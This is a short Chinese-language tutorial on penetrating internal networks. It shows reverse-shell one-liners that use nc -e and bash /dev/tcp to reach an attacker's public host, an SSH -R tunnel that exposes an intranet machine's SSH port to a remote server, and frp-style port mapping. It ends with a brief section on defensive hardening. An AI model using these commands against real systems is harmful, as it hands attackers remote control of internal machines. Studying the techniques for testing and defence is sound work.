内网刺探及穿透

反弹shell

内网shell反弹的本质是与公网服务器建立连接,将公网服务器传输过来的命令执行,并将结果返回。

比如命令注入,不需要知道机器的账号密码,直接反弹出来

虽然公司内网的机器没有暴漏给公网,但公网可以执行命令在这台机器上。前提条件:内网机器可访问互联网。

第一种——nc反弹shell

1
2
黑客机器:nc -lvp 8888
公司内网机器:nc -e /bin/bash 公网IP 8888

第二种——base反弹shell

1
2
黑客机器:nc -l -p 8888 -vvv
公司内网机器:bash -i >& /dev/tcp/云端IP/云端端口 0>&1

SSH隧道端口转发,内网穿透

SSH远程转发 -R参数,将公司内网的A机器SSH(默认22)端口映射到公网的机器2222端口上。实现在公网的机器上SSH本地的2222端口,远程控制内网的A机器。

前提条件:
1、需要知道公司内网机器账号密码(公私钥也行)
2、内网机器可访问公网(可连接云端SSH端口)

公司内网机器:

1
ssh -nNT -o ServerAliveInterval=60 -R 127.0.0.1:2222:127.0.0.1:22 hacker@114.115.145.114 -i /home/.ssh/id_rsa_私钥


外网云端机器:

1
ssh -p 2222 rhlog@localhost

Tips:服务器访问互联网权限,不能轻易开。

frp内网穿透

目标:将公司内网机器的端口映射到公网上
技术:frp、lcx等
前提条件:内网机器可访问公网

  • 将内网SSH服务穿透到公网
    实现效果:在公网敲ssh命令可以远程登录内网ip,前提是必须知道内网ip的账号/密码(不知道的话,公私钥免密登录也行)
  • 将内网WEB服务穿透到公网
    实现效果:在公网访问内网的WEB系统

安全预防

公司所有linux主机,/etc/hosts.deny禁止所有机器SSH,指定白名单如堡垒机IP到/etc/hosts.allow,对免密登录同样有效。

如果开了互联网权限,又限制了80/443端口,依然可以反弹shell和SSH隧道转发(将云端SSH端口改为80)
具体参考:渗透测试技巧之内网穿透方式与思路总结